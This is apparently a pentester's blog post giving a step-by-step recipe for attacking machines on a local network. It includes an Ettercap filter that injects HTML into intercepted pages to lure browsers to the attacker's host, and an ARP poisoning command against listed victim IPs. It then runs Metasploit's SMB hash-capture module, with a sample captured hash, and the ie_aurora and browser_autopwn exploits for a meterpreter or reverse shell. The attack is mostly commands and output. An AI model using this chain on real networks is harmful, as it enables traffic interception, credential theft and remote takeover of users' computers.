I found a nice trick from Fulfor based in another trick from Iron Geek that I applied in a Pentest using the magical HD Moore’s Metasploit and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.
This trick has 3 parts:
The Ettercap Filter
Based on the Irongeek’s Fun with Ettercap Filters and Bob’s Fulfor article I am creating the next ettercap filter:
# Just copy and paste in you terminal.
cat > ch0ks.browser_autopwn.attack.filter << __END
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-gnidocnE");
# note: replacement string is same length as original string
msg("Encoding Taken Care Of...\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head> ![](\"http://192.168.123.3:80/\")
![](\"\\\\192.168.123.3\\share\\pixel.gif\")
");
replace("body>", "body> ");
msg("Replacement Filter Ran.\n");
}
__END
The IP string 192.168.123.3:80 is the IP with the port where I have the browser_autopwn module wating for the connection and I am using the head and body tag because I want my attack to be the first thing they load. Now we compile the code:
etterfilter -o ch0ks.browser_autopwn.attack.ef ch0ks.browser_autopwn.attack.filter
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth
11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP
Parsing source file 'ch0ks.browser_autopwn.attack.filter' done.
Unfolding the meta-tree done.
Converting labels to real offsets done.
Writing output to 'ch0ks.browser_autopwn.attack.ef' done.
-> Script encoded into 16 instructions.
Now we start the ettercap making the ARP Poisoning attack and injecting the HTML code:
ettercap -P smb_down -i eth0 -l logfile-`date +%F-%s` -m msgfile-`date +%F-%s` -T -M arp:remote -F ch0ks.browser_autopwn.attack.ef /192.168.123.39,42,33,106,154/ /192.168.123.1/
The commands is running ettercap with the smb_down plugin that forces the connection to be a LM authentication, so it searches for the \\192.168.5.45\share\pixel.gif file that will be waiting the metasploit auxiliary/server/capture/smb module and will be logging the hashes. Also the Ettercap will be logging everything in the logfile and msgfile and making an ARP Poisoning between the first IPs in // and the second, I really recommend to use a little number of IPs and the Gateway to avoid making a DoS on the network. The -F is the parameter will load our brand new filter that will inject on the fly HTML code in the traffic between the victims, that’s why is important to use the gateway.
No we have to start our Metasploit attack. This is not new, I took the idea from Bob’s Fulfor article. I just gonna update it to work with the Metasploit Framework 3 and add it the browser_autopwn or the aurora attack.
In the moment I am writting this article I am using the metasploit v3.3.4-dev [core:3.3 api:1.0].
# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 324 exploits - 105 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8286 updated today (2010.01.28)
msf >
For the next modules you need to work with the root account because you need to open priviledges ports like 80, 135 and 445 for the attack to work. I am using Ubuntu Linux Karmic Koala, but you can use the Backtrack Project for this attack.
NTLM or LM Interception.
We start the attack.
sudo msfconsole
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set LOGFILE Metasploit139.log
LOGFILE => Metasploit139.log
msf auxiliary(smb) > set PWFILE Metasploit139.pwd
PWFILE => Metasploit139.pwd
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.
msf auxiliary(smb) > set LOGFILE Metasploit445.log
LOGFILE => Metasploit445.log
msf auxiliary(smb) > set PWFILE Metasploit445.pwd
PWFILE => Metasploit445.pwd
msf auxiliary(smb) > set SRVPORT 445
SRVPORT => 445
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.
msf auxiliary(smb) >
I am running the service on both 139 and 445 because in my experience it improves the chances to catch an authentication hash. Now we have to wait and with some luck you sould see something like:
[*] Received 192.168.0.103:2281 MYDOMAIN\LAMEUSER LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1
This is good but you can’t just use that hash to authenticate so you have to crack it using the idea from carnal0wnage’s blog article: Using the Metasploit SMB Sniffer Module NOTE: The tool halflm_second.rb is in the tools directory inside the Metsploit directory.
Attacking the Browser directly
Now we have to start the browser_autopwn
msf auxiliary(smb) > use windows/browser/ie_aurora
msf exploit(ie_aurora) > set SRVPORT 80
SRVPORT => 80
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ie_aurora) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ie_aurora) > exploit
[*] Exploit running as background job.
msf exploit(ie_aurora) >
[*] Started bind handler
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.123.3:80/
[*] Server started.
That’s it now you have to wait so a browser bite the bait and get a meterpreter console. This was about the Aurora new Metasploit’s module because is the new trend of the night but let’s face it, it is just part of the big world of the browser attacks. So if you are just lazy you can use the browser_autopwn module:
msf auxiliary(browser_autopwn) > db_driver sqlite3
[*] Using database driver sqlite3
msf > use server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.123.3
LHOST => 192.168.123.3
msf auxiliary(browser_autopwn) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.3 yes The IP address to use for reverse-connect payloads
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed
[*] Starting exploit modules on host 192.168.123.3...
[*] ---
[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:80/IC0F7kIlYh
[*] Local IP: http://192.168.123.3:80/IC0F7kIlYh
[*] Server started.
...
[*] Starting the payload handler...
[*] Started reverse handler on port 6666
[*] Starting the payload handler...
[*] --- Done, found 15 exploit modules
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.123.3:80/
[*] Server started.
That’s it now you have to wait so a browser bite the bait and get a shell inside the computer with the user priviledges that is running the browser.
Happy Pentesting
Adrián Puente Z.
Technorati Tags:
hackarandas; Adrian Puente Z.; Metasploit; Hacker; Aurora IE ; Ettercap; arp poisoning; security; pentest; pentesting; hacking; hacker; smb; hashes; Tag generator
When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for the IP you are using, maybe for your MAC Address.
